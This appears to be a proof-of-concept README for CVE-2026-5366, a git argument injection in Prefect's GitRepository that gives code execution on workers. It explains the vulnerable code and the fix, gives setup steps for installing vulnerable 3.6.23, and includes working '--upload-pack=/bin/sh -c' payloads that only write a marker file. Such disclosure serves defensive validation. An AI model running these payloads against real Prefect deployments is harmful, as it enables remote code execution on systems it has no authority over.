
Prova de conceito para CVE-2026-5366: injeção de argumentos git no GitRepository do Prefect que leva a RCE no worker.
commit_sha (mais injeção de argumentos via directories)src/prefect/runner/storage.pyIsto é uma prova de conceito para uma vulnerabilidade já divulgada e corrigida (corrigida no Prefect 3.6.25), publicada para fins educacionais e validação defensiva. Execute-a apenas contra softwares e sistemas que você possui ou está autorizado a testar. Se você usa Prefect, atualize para a versão 3.6.25 ou superior.
| Arquivo | Finalidade |
|---|---|
poc.py | Executa ambos os vetores de injeção contra uma instalação vulnerável e informa qual deles resulta em execução de código |
run_offline.sh | Executor sem rede: constrói um repositório local file:// e executa poc.py contra ele (a forma confiável de ver o RCE disparar) |
In src/prefect/runner/storage.py:
# Line 174
if branch and commit_sha:
raise ValueError(...)
# Line 181
self._commit_sha = commit_sha # no validation whatsoever
...
self._directories = directories
Injection points (3.6.23 line numbers):
commit_sha:
pull_code() ~379: ["git", "fetch", "origin", self._commit_sha]pull_code() ~391: ["git", "checkout", self._commit_sha]_clone_repo() ~475: ["git", "fetch", "origin", self._commit_sha]_clone_repo() ~480: ["git", "checkout", self._commit_sha]directories:
pull_code() ~360: ["git", "sparse-checkout", "set", *self._directories]_clone_repo() ~489:
(no separator)On the commit_sha path, --upload-pack=<program> is interpreted by
git fetch/git checkout as the pack program to run for the connection, so the
program is executed locally on the worker machine. This is verified end-to-end
(see "Verified results" below).
The directories path is genuine argument injection but is not an RCE vector
via --upload-pack: git sparse-checkout set is a local command with no
--upload-pack option, so the payload is rejected as an unknown flag. This
asymmetry is mirrored by the upstream fix: commit_sha is rejected hard, while
a ---leading directories entry only triggers a warning.
The core is a git argument-injection trick on the commit_sha vector.
No validation. In 3.6.23 the commit_sha value is stored verbatim
(storage.py:181), with no checks beyond the branch/commit_sha mutual
exclusion. Any string is accepted.
It lands in a git argument position. When Prefect pulls code
(pull_code() then _clone_repo()), the value is placed in a git argument list:
["git", "fetch", "origin", self._commit_sha] # storage.py:475
["git", "checkout", self._commit_sha] # storage.py:480
This is an argument list (no shell), so there is no shell injection. The flaw is
that there is no -- separator before the attacker-controlled value.
--upload-pack is parsed as an option, not an argument. git treats anything
starting with - as an option unless a -- separator precedes it. The payload:--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
turns the command into:
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
--upload-pack=<program> is a legitimate option of git fetch/clone/
ls-remote: it names the program git runs to serve packs. When the remote is
local (file://) or reached over SSH/local transport, git executes that program
on the local machine.
/bin/sh -c '...' in place of the real
git-upload-pack helper, so the attacker's command runs on the Prefect worker.
git then fails (sh doesn't speak the git protocol), but the side effect (code
execution) has already happened, which is why the PoC ignores the resulting
exception and only checks for the marker file.Why the pre-test cleanup matters. If the destination already has a .git,
Prefect takes the "update existing repo" path. Deleting it forces the full
_clone_repo() path, which has the most direct fetch origin <value> +
checkout <value> calls, the best injection sites.
Why directories does not give RCE. That value lands in
git sparse-checkout set <value>, a local command with no --upload-pack
option, so git rejects the payload as an unknown flag. It is still genuine
argument injection, but not an RCE vector with this payload.
The fix (3.6.25). commit_sha must match ^[0-9a-fA-F]{4,64}$, so a
--upload-pack=... payload is rejected with ValueError: Invalid commit SHA
at construction time. For directories, the fix adds the -- separator in the
git command (values can no longer be read as options) plus a warning.
prefect==3.6.23GitRepository(..., commit_sha=..., directories=...).pull_code()commit_sha is rejected at GitRepository(...) constructionpython -m venv .venv-vuln
source .venv-vuln/bin/activate
pip install "prefect==3.6.23"
Or from source at the exact vulnerable tag:
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
The reliable, self-contained way (builds a local file:// repo and runs both vectors):
./run_offline.sh
# or pin a specific interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh
You can also drive poc.py directly:
python poc.py # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # local repo
Important: git only honors --upload-pack on local and ssh transports. Against
the default https remote the payload is inert, so python poc.py reports no
marker even on vulnerable 3.6.23. Use run_offline.sh (or a file:// / ssh
POC_TARGET_REPO) to see the RCE actually fire.
The script does aggressive cleanup (force_clean_destination) before each
vector so it reliably hits the clone path (_clone_repo), which performs:
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>
commit_sha:
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
directories:
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
These hit the raw argument positions in fetch / checkout and
sparse-checkout set.
Reproduced end-to-end, fully offline (local file:// bare repo via
run_offline.sh), on Python 3.12:
Observed vulnerable-run marker content:
EXPLOITED via commit_sha <date>
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
On a patched install the malicious object fails to construct, before any git runs:
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...
A ---leading directories entry only emits a warning (the real protection is
the -- separator added to the git command).
3.6.236a9d9918716ce4ee0297b69f3046f7067ef1faae21b2838054c7231cee8cbe196fdadc67ee6c1c6dUse responsibly (sure !!! :PpPPpp) and only on systems you control :-)
["git", "sparse-checkout", "set", *self._directories]--| Version | commit_sha | directories |
|---|
| 3.6.23 (vulnerable) | RCE achieved: marker file written during git fetch origin <payload> | no marker: sparse-checkout set rejects the --upload-pack flag |
| 3.6.25 (patched) | neutralized: ValueError: Invalid commit SHA ... at GitRepository(...) construction | no marker: -- separator + warning |